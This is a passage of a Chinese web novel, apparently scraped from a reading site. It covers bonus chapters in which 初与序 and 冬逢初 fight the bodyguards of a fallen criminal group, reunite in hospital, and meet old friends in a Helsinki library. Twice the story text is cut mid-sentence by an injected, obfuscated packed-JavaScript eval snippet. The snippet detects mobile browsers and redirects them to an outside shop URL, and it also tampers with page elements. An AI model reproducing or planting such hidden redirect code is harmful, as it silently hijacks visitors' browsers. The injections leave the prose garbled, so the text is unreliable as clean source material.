另一个保镖盯着她看了几秒,不情不愿地回答:“极夜手底下有五个子公司,新星集团是最大的一个,已经倒了。另外四个,有两个也倒了,还有一个正在被查,最后一个……呃……” “深海,深海集团。海洋生物研究,背地做精神力实验。” 冬逢初忽然出声,继续说道:“我在里面也待过两个月,但什么都没查到。深海那边保密太严,新员工进不了核心层,顶多喂喂鱼。” “极夜只是冰山一角,那些人真正的基地分布各国,我只知道芬兰、以色列和丹麦有。他们的背景特别复杂,政客、商人、军火贩子,甚至有哪个国家的王室成员。他们之前互相牵扯,谁也动不了谁。就算极夜倒了,他们也能找到新的合作对象。” 另一个保镖疯狂点头,喘着粗气,语气里满是惊恐:“他们不会放过你们,不会放过我们的……” 初与序打断他的喋喋不休:“冬逢初做了什么,让你们追成这样。” 话音刚落,这些人的表情忽然变了。变得愤怒,以及说不清的、类似于宗教般的狂热被打破后的迷茫。 贴在墙上的保镖下意识看了一眼冬逢初,咬了咬牙,憎恨道:“他他妈是卧底!” “八个月前,他用精神力伪装身份潜入极夜,我们所有人都以为他只是普通新员工。他把极夜所有的核心资料都偷了出来,往那些高层的手机里植入□□,电脑里放木马,车里安装定位器和炸弹。等我们发现时,他已经把整个极夜摸得一清二楚!” “他还策反了极夜一半以上的底层员工!剩下那一半被他不知道用什么办法吓破了胆,开始偷偷给他传消息!他毁了极夜!极夜所有计划都泡汤了!他们销毁了实验数据,给警方递情报,把极夜的罪行往外捅!” “现在呢?”初与序问。 年纪稍大一点的那个研究人员接话:“极夜高层都死了,中层和底层的也进去了。集团账户被冻结,资产被查封,门口已经贴了封条。” “既然你们没跟着一起进去,也活了下来,为什么还追着他不放?”初与序蹙起眉,心情明显很差。 那保镖猛地想扭头,却被枪口抵着不敢动。他只能梗着脖子,声音从牙缝里挤出来:“你知道我们是什么吗?我们是和极夜绑在一起的!我们的命,我们的钱,我们的一切都在极夜手里!我们知道的太多了,极夜背后的人不会放过我们!” “极夜倒了,我们怎么办?我们怎么活?” 他眼睛血红地瞪向冬逢初,吼道:“他是这一切的源头!没有他,极夜不会倒。没有他,我们不会像丧家犬一样被到处追杀。没有他——” 他忽然忍不住往前冲了一步,初与序的枪口立刻抵紧:“我说了,别动。” 保镖停住了,但还是死死盯着冬逢初,从牙缝里挤出几句咒骂,像濒死野兽的嘶吼。 忽然,他像是想到了什么,转了转眼睛,贴在墙上一动不动,表情却变了。从恐惧到恍然,再到某种令人心悸的笃定和愤怒。 他嘴角慢慢勾起一个弧度:“初与序啊。” “以我对你的了解,在你找到我们时,会一脚踹过来。但现在却拿个……枪?对准我?却根本没有动手。” 他冷笑一声,一字一句:“我猜得没错的话,你的精神力几乎在观测站里耗尽,你的身体已经虚弱到极致了,以至于根本打不过我们中任何一个人。” 他突然猛地转过身,金属的冰凉从后腰转移到腹部,但他丝毫不慌张。血红的眼睛瞪着初与序,像一头终于看穿猎手的困兽,咬着牙,硬生生道: “你也根本没有枪吧——” 他整个人扑上来,手顺势往下一掏,夺走了初与序手上那东西! 金属在昏暗的光线里一闪,那根本不是什么枪,是一截沉重的钢管。 初与序左手还拿着一个Zippo打火机,刚才那一声枪械上膛,就是她用打火机模拟出来的。 “操你妈!”保镖暴怒,钢管抡起来就往初与序头上砸! 初与序侧身一让,左手翻过打火机,照脸就甩了过去!打火机砸在保镖颧骨上,火星四溅,烫得他皮肤发出滋滋的声响。 他嚎了一嗓子,还没反应过来,初与序已经欺身而上,屈膝狠狠顶向对方腹部!那保镖闷哼一声,踉跄着后退两步,捂着肚子脸色涨红。 370.平行世界(三)[番外] 与此同时,贴墙站立的那五个人这才反应过来。 “妈的,她耍我们!”一个高壮的保镖最先冲上来。他比刚才那个还要高大,肩宽背厚,手臂比人大腿还粗。那一拳下来,能把人脑浆打出来。 他扑向初与序,砂锅大的拳头直冲面门。刹那间初与序头都不回,顺势一矮身,抄起地上的钢管狠狠砸在对方膝盖上! 那保镖痛得惨叫一声,单膝跪地,脸上带着难以置信的错愕,丝毫没料到战斗力已经被削掉百分之九十,弱不禁风的初与序此时还能将他膝盖骨打碎。 墙角那边,冬逢初浑身是血,爬起来就朝着这边冲。另外四个保镖猛地扑上去,从后拦腰抱住他,将他往角落里一摔! 拳头雨点般落下,四个人恶狠狠地怒骂:“打!往死里打!” “妈的,让你卧底!让你害我们!” 第一个保镖猛地一把抓住初与序握着钢管的手腕,同时另一人一瘸一拐扑过来,满脸狰狞,一拳砸中初与序后心。初与序踉跄着往前冲了两步,撞上墙壁! 肩胛骨爆发剧痛,眼前发黑。她咬着牙翻身,举起钢管格挡在身前,挡住那保镖紧接着砸下来的第二拳。 “铛——” 那保镖拳头上顿时皮开肉绽,鲜血直流。但他像是感觉不到疼,反手又是一脚,猝不及防踹在初与序腹部! 冲击力让初与序倒下,翻滚着撞上墙根堆着的木箱。木箱四分五裂,碎木板劈头盖脸全砸下来。她趴在一堆碎木里,浑身剧痛,喉咙里全是血,耳边是冬逢初惊恐颤抖的叫声和挣扎声。 初与序挣扎着想爬起来,刚撑起半个身子,高壮保镖已经走到了她面前,蹲下来一把薅起她的头发,把她的脸抬起来。 那人喘着粗气,眼睛里全是血丝,神情愤恨至极。 “你狗日的。”他咬牙切齿,从牙缝里挤出几个字,“挺能打啊——” 他高高举起拳头,一拳砸在初与序额角! 鲜血登时哗啦啦流下来,蒙住了视线。眼前一黑,耳膜轰轰作响,天旋地转。 ——砰! 混沌的意识中,初与序只听见耳边一声巨响。那声音宛如惊雷,像有什么东西从高处坠落,砸进她模糊的知觉里。 她抠住水泥地的五指蜷缩了一下,吃力地抬起头,从满目猩红中望向身旁。 ——保镖只觉得眼前一花,下一秒,整个人被狠狠一脚重重踩在地上,五脏六腑像离了位,全挤到了嗓子眼。他还没来得及反应,随即被一记直拳打得七窍流血! 大汩大汩鲜血顺着面庞流下,混入水泥地的脏污里。 “你个傻——”保镖挣扎着要起身,又是迎面而来的重拳。 他的后脑勺重重撞上水泥地,眼前金星乱冒,天旋地转。头发又被人一把薅住,脑袋被生生从地上扯起来,对准水泥地又是重重一磕! 砰!砰!砰! 水泥地大片龟裂,碎屑飞溅。另外五个原本还在围攻的人全部僵在原地,滑稽地张着嘴,惊骇地看着这一幕,没人敢上前阻止。 冬逢初面色阴冷地压在保镖身上,手上满是鲜血和尘土。被冷汗浸湿的鬓发贴着苍白的脸,那一双幽深的眼睛在黑暗中闪着如魔鬼般的光。 保镖拼死挣扎,抬手去扣那只抓着自己头发的手。但那手如铸铁一样,纹丝不动,再次把他脑袋提起,朝着水泥地砸下去! 保镖的身体瘫软在地上,疯狂抽搐,发出微弱的喘息。后脑勺已经凹陷下去,鲜血混着某种透明液体,在地面上漫开。只要再挨上那么一拳,他的气息就会彻底中断。 但冬逢初已经完全失去了理智,丝毫不在意身下人会不会死亡。他血红着眼睛,再次扬起拳头,朝着那张痛苦扭曲的脸就要砸下去—— 拳头被人从后轻轻握住,腰也被两条胳膊用力抱住。他下意识就要挣脱,戾气翻涌。下一秒,熟悉的苦涩气息将他包围,初与序贴上他耳畔,声音颤抖着说:“冬逢初,别打了,我们不打了。” 冬逢初整个人僵在原地,停在空中的手被人强行按下,浑身止不住颤抖。 初与序看不清什么东西,摸索着将他按倒在墙边。她发着抖捧住冬逢初冰凉的脸,拇指轻轻擦过他脸上的血迹,柔声安抚:“我没事,我好好的呢。乖,我们在现实不杀人。跟我回家,我们回家……” 冬逢初嘴唇哆嗦着,浑身血液成冰。他不敢看初与序,缓缓将自己蜷缩起来,屈起膝盖,又抬手挡住满是鲜血的脸,眼泪啪嗒啪嗒落了下来,混着血从他指缝间渗出。方才浑身的戾气全部散尽,只剩下无措和惊慌。 初与序跪坐在他身边,将他搂在怀里,下巴抵着他发顶,不断地在他耳边安抚着他。 站在原地瑟瑟发抖的五个人一动不敢动,此时见到冬逢初安定下来,才小心翼翼地上前,去探地上软如烂泥般的保镖的鼻息。 “……还活着,还活着……” 他们纷纷松了口气,七手八脚抬起保镖,就打算朝着外面冲。 刚冲没几步,他们脚步猝然停住,脸色煞白。 一个修长的人影从拐角处缓步走出,堵在他们面前。苍白的月光照在他身上,勾勒出他冷漠的侧脸。 他伸出修长的手指,推了下黑框眼镜。随后抬起手,掌心朝前,对着巷道后招了招。薄唇轻启,吐出一个字:“上。” 头顶失灵的灯泡在此刻闪烁了一下,那一明一暗的光线里,照出男人身后的巷道。不知何时正站着十几名全身黑衣的打手,面色阴冷,像一群从地狱里爬出来的恶鬼,死死盯着面前的六个人。 在听到命令的下一秒,他们从男人两侧齐齐冲出,朝着僵在原地的六个人而来。 除夕的凌晨,撒哈拉酒吧对面的某个巷道里,惨叫声此起彼伏。 除夕的清晨,医院的VIP病房里,一片寂静。 室内开了暖气,玻璃上蒙着一层雾。空气里弥漫着淡淡的消毒水味,若有若无地飘着。输液瓶里的药液一滴滴往下坠,窗外偶尔传来几声鸟鸣,和走廊外随歌愉悦的声音融合在一起: “哎呦喂,我和你们讲,好兄弟踩着七彩祥云回来了!他上刀山下火海从非洲草原杀到北极冰川,这么多月终于回来了!李腾我不和你说了,过完年我还得留在安徽和他们玩,爬天柱山黄山大别山九华山去……什么?你们四个要抛弃我去西双版纳?行行行,你们就去吧,你们的随队就不给你们带安徽的山粉圆子了。” 电话那头传来模糊的嚎叫,隔得太远听不清内容,但能感受到那股哀怨劲儿。 紧接着是随歌的笑声:“好好好,那本帅哥就慷慨地给你们带几碗吧,都加香菜。你们到时候可要在飞机场接好了,向苍天许愿那个时候还是热的吧。” 脚步声朝着电梯那边走去,说话渐渐远去,走廊重归寂静。 冬逢初垂着睫毛,静静看着病床上的初与序。天刚亮起的晨光在她脸侧叠上冷白的光晕,衬得她那张脸愈发薄透。 八个月没见,初与序把他天天照顾着养出来的那点营养全还给了永冬之城。病魔将她磨得改了形貌,曾经鲜活的神色都沉进昏睡里。可冬逢初此刻看着她,总觉得哪怕初与序这样一言不发地躺着,那些从骨头缝里渗出来的感觉也仍在,像他多年前在善佑医院初次望见她时,那种摄人心魄的感觉。 那时候她还不知道他的存在,坐在窗边看书,下午的光照在她侧脸上。他路过,随意地看了一眼,就再也忘不掉。 冬逢初有些恍惚地俯身,伸出手轻轻将初与序的发丝勾到耳后,又把被子往上掩了掩,盖住她露在外面的肩膀。 刚松开手,随意往上看去,就对上了初与序微微睁开,还有些涣散的视线。 两个人就这么对视,时间像是凝固了,一秒和一秒之间实在太漫长。 窗外有鸟叫,有汽车驶过的呼啸声,有护士推车经过走廊的声响,但这些都变得很远了,远得像隔着一整片海,隔着一整座城,隔着整整八个月。上一次他们的视线这样眷恋地接触,仿佛已经是上辈子的事了。 互相望着朝思暮想的爱人,克制不住的想念汹涌地呼啸而出,满得眼眶都装不下。如同他们的气息般交缠在一起,那是勿忘花苦涩凛冽又忘不掉的味道,交融缠绕着,涌进彼此的肺腑。 初与序的瞳孔慢慢聚焦,定定地看着冬逢初。 半晌,她动了动嘴唇:“……冬逢初。” 冬逢初纤长的睫毛颤了颤,张了张嘴想说点什么,喉咙却像被什么东西堵住了,酸涩地胀着,一个字也挤不出来,只能重重点了点头。 初与序的视线忽然渐渐模糊。 冬逢初这辈子第一次这样清晰地看见眼泪形成的过程,泪水一点一点从她眼底最深处漫上来,像晨雾从山谷里升起,像千万滴雨水汇入同一条湖泊。它们在她眼眶里打着转,终于承载不住地滑落。 说不出口的话化成泪水,漫过眼眶,没过喉骨。 冬逢初望着那双盛着一整个湖泊的眼睛,忽然觉得自己这辈子大概是游不出去了。 他忙坐到床沿,将撑起上半身的初与序怀抱在怀中,五指插进她后脑乌黑柔顺的头发里,让她埋在自己温暖的胸口,嘴唇贴着她发顶,低声说:“我在呢,阿序,我现在回来了……” 滚烫的泪水眨眼间就浸湿了他胸口的病号服,初与序的肩膀无法控制地颤动。从她这个角度看过去,能看见冬逢初脖颈上的手印稍微消去一点。但在右侧颈动脉附近留下了一道深刻的青紫痕迹,触目惊心。 看着看着,眼泪又决堤而出。她哽咽着轻声询问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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初与序也回视他,嘴角浅浅一弯:“我也爱你。” 冬逢初生得一副温温柔柔的皮相,眉目清淡,眼尾微微下垂,唇角上扬。看人时,眼底总像含着三分没散尽的春水。但这种春日暖阳般的感觉只是表象,他骨子里对初与序的控制、依赖和偏执是与生俱来的。身边所有人都能看出来,包括初与序自己。 初与序抬起纤细的手指,抚上冬逢初的眉眼,眉梢扬起,轻轻给了他一个眼神。 冬逢初很快反应过来,迟疑道:“现在?你的身体受得了吗……” “可以。”初与序笑着点了点头,伸手去够一边衣架上的衣服。 然后—— ——然后,当江意等人沿着监控找到时,看到的就是大冬天天还没凉透的凌晨,外面随便披了件大衣,里面还穿着病号服的两个人,坐在大排档门口吃麻辣烫烧烤小龙虾。 随歌痛嚎一声,双手捂住脸:“我的嘴巴一直在下雨,我处理不好……” “给你留着位呢。”冬逢初往边上移了移,露出塑料凳,温和道,“坐吗?” 随歌一屁股坐在塑料凳上,挖了几筷子蟹肉就塞进嘴里,美滋滋道:“够意思啊你们俩,来我看看你们俩点了什么……” 江意叹了口气,他无奈地看着冬逢初摸出烟盒,抽了根万宝路,点燃后才递给初与序,再给自己点上一根。 “你们俩偷摸从病房溜出来,就是来吃麻辣烫和烧烤的?”他难以置信道,“伤口容易发炎,这事儿都知道吧?” 他话没说完,初与序将一瓶啤酒放在他面前的桌上,吐了口烟,在烟雾袅袅中面无表情地看着他。 江意沉默了几秒,欣然接受。 景明垂:“???” 她开口刚要代替江意说些什么,初与序又往旁边移了一下,露出自己身边的红色塑料凳:“没办法,冬逢初之前在医院里说的一堆菜太馋了。” 景明垂思考片刻——虽然他们吃的是不怎么健康的东西但好歹冬逢初回来了初与序也罕见地有胃口主动吃饭了这还是这么多个月第一次看见初与序发自内心地露出笑容,算了他们吃就吃了吧——她坐到初与序身边,撬开一瓶北冰洋。 “吃完回医院。” 大排档的烟火气缭绕在凌晨的寒风里,烧烤架上的炭火烧得通红,哈出的白雾融成一片,完全没料到的五人聚餐就这么突如其来地出现在新世界的第一个冬天。 那些疼痛漫长的过去真的过去了,初与序和冬逢初对彼此的记忆不再只停留在十四岁和十八岁那年,不再只是善佑医院的惊鸿一瞥,不再只是永冬之城漫天飞雪里渐渐消散的身影,幸福安安稳稳地落在所有人肩上,让人能安心地睡上一觉,醒来后便是爱人笑盈盈的双眼。 371.第二篇平行世界(一)[番外] 芬兰。 赫尔辛基进入了极夜第三周,大雪高高堆积在路边,从人行道漫到车行道。整座城市一片寂静,一眼望不到头的沉闷。视线里只有一两个裹着厚羽绒服的行人从空荡荡的街道上匆匆路过,呵出的白雾眨眼间就消散在冷空气里。路灯昏黄地照着纷纷扬扬落下来的雪,店铺门板上已经结了一层薄霜。 天色透出一层灰蓝,然后一点一点沉成墨蓝,整座城市就这样被笼罩在蓝调时刻里。 图书馆在路尽头,是一栋两层的老房子,红砖墙白窗框。窗玻璃上蒙着厚厚一层白雾。靠近了,能看见水珠顺着玻璃往下淌。 空气里充斥着暖气和旧纸张的气味,四面墙都是顶到天花板的书架。读客们安安静静地在一楼独自坐着,翻看书籍。相识的人偶尔凑在一起耳语几句,声音压得很低,说完就继续各自看书。 二楼靠窗的那一排是单人座,每个小桌子上配着一盏小灯。只有一个人坐在最里面的桌上,挨着一扇蒙了雾的玻璃窗。 那是个年轻的姑娘,灰色的单薄毛衣罩在她清瘦的身形上,外套搭在椅背上。昏黄的灯光在她冷白的脸颊上投下立体的阴影,纤长的眼睫微微颤动,鼻梁挺秀,唇角微微上扬,但那只是天生的弧度。唇色几乎是苍白的。 一本深蓝色封面的书摊在桌上,她垂着眼眸,翻阅着那些纸张。右手搭在书页边缘,手指细长,指甲剪得干干净净。 远处的钟楼敲了一下,此时已经凌晨一点。雪花落在窗玻璃上,慢慢滑下来,融进下层白茫茫的雾气里,她始终没有抬头去看一眼。 不紧不慢的脚步声由远及近,紧接着,头顶传来一道平稳冷静的低沉男声,用芬兰语说:“Hei, voitko lis?t? mut kaveriksi?(你好,加个好友吧?)” 初与序头也不抬,毫不留情回答道:“Ei.(不了。)” 她都这么直接拒绝了,男人还是原地不动,修长的手指拖着手机伸到她旁边,重复了一遍:“Lis?? mut kaveriksi.加个好友吧。)” 初与序翻书页的手顿了顿,语气里带上了一丝不耐烦,但依旧没有抬头:“On poikayst?v?, ei kiinnosta.(有对象了,不加。)” 男人说的话里丝毫没有想纠缠她加好友的语气,可仍然锲而不舍。他沉默了一秒,又淡淡说道:“Ei se haittaa, vaikka on poikayst?v?. Lis?t??n vaan, tutustutaan.(有对象也没事,加一个吧,认识一下。)” 初与序忍不住蹙起眉。在赫尔辛基这六年来,就没怎么遇到过这么不讲理的芬兰人。这里的人社恐得要命,在公交车上都不会坐邻座,怎么今天碰上这么个奇葩? 她有些厌烦地掀起眼皮。刚要骂人,就对上一双熟悉的,幽暗冷漠,极度不爽的眼眸,快要出口的话就被硬生生憋了回去。 ——齐无尽静静站在那里,周身气息冰冷。他拖着手机的手还伸在那儿,朝着初与序扬了扬,颇带点咬牙切齿:“初与序,加、个、好、友。” 初与序大脑空白了一阵子,她眨了眨眼,有些心虚地转头看向另一边。 江意穿着板正的西装,领带整整齐齐,抱着胳膊靠在书架边,面无表情地看着这里,那眼神却让人莫名脊背发凉。 齐无尽收起手机,毫不客气地在初与序对面坐下,盯着她:“初与序,你他妈消失了四个月,谁也不联系。再听到你的消息,是死讯。现在又在芬兰见到你?别告诉我,你是被人从地府捞出来了。现实可没有「阴司路引」,能让人往返阴阳界。” 江意也缓缓走了过来,坐到齐无尽身边,修长的手指敲了敲桌面:“解释一下吧,六年前到底是怎么回事?” 初与序沉默了几秒,确定自己躲不掉了,少顷她无可奈何地呼出一口气,将书合上,看似坦然其实是没招了地承认道: “……就是你们认为的,当年我是假死。” 齐无尽抱着胳膊靠在椅背上,冷笑一声:“你好样的。” 初与序抽了抽嘴角,双手合十低头道歉:“我错了,装作没看见我行不行?” 当然,面前两位铁面无私的包青天是不可能答应的。江意仍然面无表情,像座雕塑,一动不动地坐在对面。他旁边的齐无尽看上去倒很想骂人,但在初与序面前还是克制住自己的火气。 许久后,他终于挤出一句话:“为什么?” 初与序一时没明白他问的是“为什么你在芬兰”,还是“为什么假死”,下意识“啊”了一声,谁知这个音节在顷刻间就把齐无尽激怒了。 “你知道我们在你死后那几个月是怎么过的吗?我们所有人都没怀疑过你的死亡!所有人都难受了好几年!然后你告诉我,是假死?” 他前倾身体,眼眶通红,压低声音怒道:“你会照顾好自己吗?独自一人跑到这么远这么冷的芬兰,凌晨一点还在图书馆?你知不知道外面现在零下多少度?” 他伸手指向窗外,玻璃上蒙着厚厚的白雾,但都能想象到此时此刻,大雪纷飞,寒风呼啸,空荡荡的街道上一个人都没有。 “你住哪儿?吃什么?病了怎么办?有人照顾你吗?你知不知道观测站上面的上面就有集团分部在芬兰这里?!你知不知道那些人还在找你?!你知不知道他们有多恨你?!”齐无尽一字一句,“你毁了善佑医院,毁了竹翰学院,毁了观测站,他们恨不得把你碎尸万段!恨不得把你挫骨扬灰!恨不得让你求生不得求死不能!” “是,你是假死了,他们查不到你的踪迹。但万一有一天呢?万一有一天你走在赫尔辛基的路上,就被那些人看到了呢?” “那你就真的死了啊!” 此时此刻,二楼没有其他读客,只有围桌而坐的三人,齐无尽可以不顾一切地将压在心底的话说出来。他坐在那里,胸口剧烈起伏。放在桌上的手微微颤抖,不知道是气的,还是后怕的。 然后他看见初与序用孩童般不解和奇怪的眼神望向他,吐出三个字:“不然呢?” “什么?”江意以为自己听错了,皱着眉问道。 “不然呢?”初与序重复了一遍,面色冷淡,“不然我来芬兰干什么?” 齐无尽和江意错愕地看着她,瞬间就明白了初与序的意思,一时间谁也没说话。 初与序端坐着,乌黑的瞳孔幽幽地望着对面两个人,此时此刻双方的身份仿佛替换过来,初与序才是质问的那一方。 六年了,足够让一个人从刚成年长到二十五六岁,足够让一座城市改变模样,也足够让很多事被遗忘,被当作从未发生。 可初与序看着面前两个人,有些恍惚。他们还是自己记忆中的样子,没有任何变化。 初与序缓缓呼了口气,问道:“你们为什么会出现在这里?” 江意很快平静下来,回答道:“赫尔辛基有项目,需要我亲自过来处理。齐无尽也有生意伙伴在这里。另外,我们查到观测站背后的信息。芬兰、德国、以色列、丹麦和意大利,是我们目前已知的几个主要基地分布。所以这次顺便过来看看。” 他看着她,垂了下眼睫:“只是没想到会遇见你。” 初与序向后靠进椅背里,抬起胳膊,指关节抵着唇,了然地点了点头,喃喃道:“看来大雪天确实不适合出门……” “你说什么?”听力极佳的齐无尽眼神阴郁地看着她。 “……哦,没什么。”初与序在心里叹了口气,平视两人,“现在这种情况,再欺骗你们是我不道德了——当然,没有说我假死是很道德的事。” 她顿了顿:“我直说吧,来芬兰居住,一是为了追查那些集团,二是为了保证永冬之城所有玩家的安全,尤其是你们。” 齐无尽在初与序面前,不知怎地就容易被她的话带着情绪跑,此刻又忍不住要说些什么,被初与序浅浅抬手打断:“我毁了善佑医院,杀了那些研究人员,炸了观测站,让他们所有的心血一夜之间全部归零,付诸东流。” “他们失去了一切,从云端跌落,变成一无所有的丧家犬。他们恨死我了,想把我扒皮抽筋,让我生不如死。” 她摊开手,扬起细眉:“我当然知道,不然我来这里干什么?” “我必须假死,他们才会放弃追杀我,才会在这种节骨眼上,暂时放弃创造第二个永冬之城的计划。” 她双手交叠,放在并拢的膝盖上,这个姿势让她显得更加单薄,更加脆弱,也更加倔强:“我必须离开中国,永冬之城的玩家遍地都是,我留在国内,很容易被人认出。只要有人认出我,就可能对集团的人举报。齐无尽,你说得没错,我永远不知道哪个和我擦肩而过的陌生人就是他们的眼线。” “一旦那些人发现我还活着,会怎么样?”她自问自答,“他们会抓我。我对抗他们束手无策。但抓我之前,他们会抓我身边的人。你们、景明垂、随歌、回北、向枝冥……每一个和我有关系的人都会被他们盯上。他们会利用你们来威胁我,逼我现身,逼我就范。” “到时死的人就不止我了,难道又要上演一出生死离别,痛哭流涕的好戏?” 齐无尽和江意的脸色双双变了一下,不得不承认,她的话是对的。 “如果因为我牵连到你们,牵连到那么多永冬之城的玩家……”初与序摇了摇头,“那我还不如真的死在观测站里。” 江意张了张嘴想说什么,却什么都说不出来。 初与序微微侧头,看向窗外那一片白茫茫的虚无:“我来芬兰,不仅是因为有集团分布在此,身边没人认识我,我能安安静静地追查那些人。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244337|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿:“也是因为芬兰的环境……实在太像永冬之城。” 芬兰的极夜,是无边无际的黑暗,路灯昏黄的光会照亮那些无穷无尽的落雪,像极了所有玩家记忆中的那座永远困在冬天的城。 其实除了初与序,江意等人对于永冬之城也有诸多不舍。他们的无数快乐时光是在永冬之城里度过的,在副本里面对怪物BOSS时七手八脚乱成一锅粥,在雪地里嘻嘻哈哈堆雪人打雪仗,但当然,没有一个人愿意再回到那时。 他们分不清自己是怀念当时的好友,还是怀念那座城市,但当江意和齐无尽下飞机落地芬兰时,还是有那么一瞬间的恍惚。 初与序意味不明地笑了一声,看向齐无尽:“我待在这里,如果没被集团的人发现,就继续生活,追查他们。” “如果被发现,我死亡了,那是更好的结局。” 齐无尽浑身一震,面上出现了难以形容的复杂表情,看上去又想骂人了。初与序在心里感叹一句:这么多年不见,他的性格怎么开始朝着向枝冥靠边了? 她说:“假死这件事,我很抱歉,但我没有办法了。” 江意抿唇看着她,一言不发。 初与序继续说:“我独自来到芬兰,会照顾好自己。下雪了我待在室内,生病了找医生,已经学会自己做饭。至于为什么凌晨一点还在图书馆,我身为D栋住户,日夜颠倒,在极夜也一样,睡不着出来晃一晃,没毛病吧。” 齐无尽十指交叉,垂着眼睫。他想找茬,借着她一个人照顾不好自己的理由,把她从这个冷死人的地方带去里斯本,想了半天,没想到该说什么,又听初与序冷冷道: “我在芬兰的这六年已经暗中组建了关系网,黑白两道拥有的势力会让我大多数时刻都身处安全。即使我不幸被集团抓捕囚禁,在我不想死时也能全身而退,到时我又或许会换个国家生活,德国?意大利?总而言之你们不会再找到我了。” “我待在这里,也不止是为了保护你们,当然对我自己也有好处。我不想再被别人轻易威胁,不想再担心我身边的人会不会因我而死,我想每天都能好好睡一觉,寿终正寝或被害身亡,我都愿意。” 初与序的目光里渗出一丝哀伤,轻声说道:“我今年已经二十五,再过五年就上三十。时间过得很快,总有一天我白发苍苍,步履蹒跚,但我永远不会后悔六年前我假死的决定。一如当年在永冬之城,决定弑神的坚定计划。” 齐无尽有些神经质地抓着自己的红发,尾音有些战栗:“你要我如何接受你并未身死,在这大千世界的某处存在,而我却无法见到你的事实……” 整整六年,除了参加初与序的葬礼,齐无尽就没回过中国。他原以为自己已经忘记初与序的脸和声音了,但此刻见到面,他还是仅凭一个翻书动作就认出故人。 “我再说多少遍‘对不起’都没用了。”初与序平静地说,“所以你回去睡一觉吧,当这是一场梦。睡一觉起来,继续生活,我仍然撒手人寰。” 齐无尽却颤抖着手撑着桌面,缓缓站起,俯身看着初与序,摇了摇头:“……算了,我更希望你活下来,我也只能接受你活着。” “就这样吧,初与序……你活着就好。今天能遇见你,我很幸运。” 说完,他站直身体,最后看了初与序一眼,头也不回转身离去。 初与序目送着他的背影,没意识到下唇已经被自己咬出了血。 坐在她对面的江意皱了皱眉心,轻声说:“真的不回去?” 初与序将目光移到他身上,没说话,但已经用眼神回答了。 江意沉默良久,点了点头,站起身。灯光从一侧打过来,显得他头发和眉眼格外漆黑,皮肤却过分苍白。 他有些疲惫地说:“我和齐无尽下周就离开芬兰了,我们不会把今天见到你的事告诉景明垂他们任何一人。你安心待在这里,干自己的事,希望一切都能尽早彻底结束。我们不会再找你,或许这真的是我们最后一次见面。” 他说出最后一句话时,更加不舍的反而像是初与序。 初与序也从椅子上站起身,哑声道:“……我就不送了,意哥。” 江意挥了挥手,示意没事,也用某种说不清道不明的眼神看了初与序一眼,转身离去。 图书馆二楼再一次恢复平静,只剩下初与序一人。她站在原地,微微侧头看向窗外。 或许是靠得实在太近的缘故,她的呼吸在玻璃上变作一团浓厚的白雾,又缓缓消散。那一片白雾被她伸手抹去,玻璃上倒映出一张疲惫却仍夺人心魄的面容。 她定定地望着倒影,几秒后移开目光。伸手抄起外套往肩上一披,拉上帽子遮住面容,将书本归还原位,快步走下另一侧楼梯,眨眼间消失,只在雪地上留下一串慢慢被大雪填平的脚印。 他们不会再找她?鬼才信。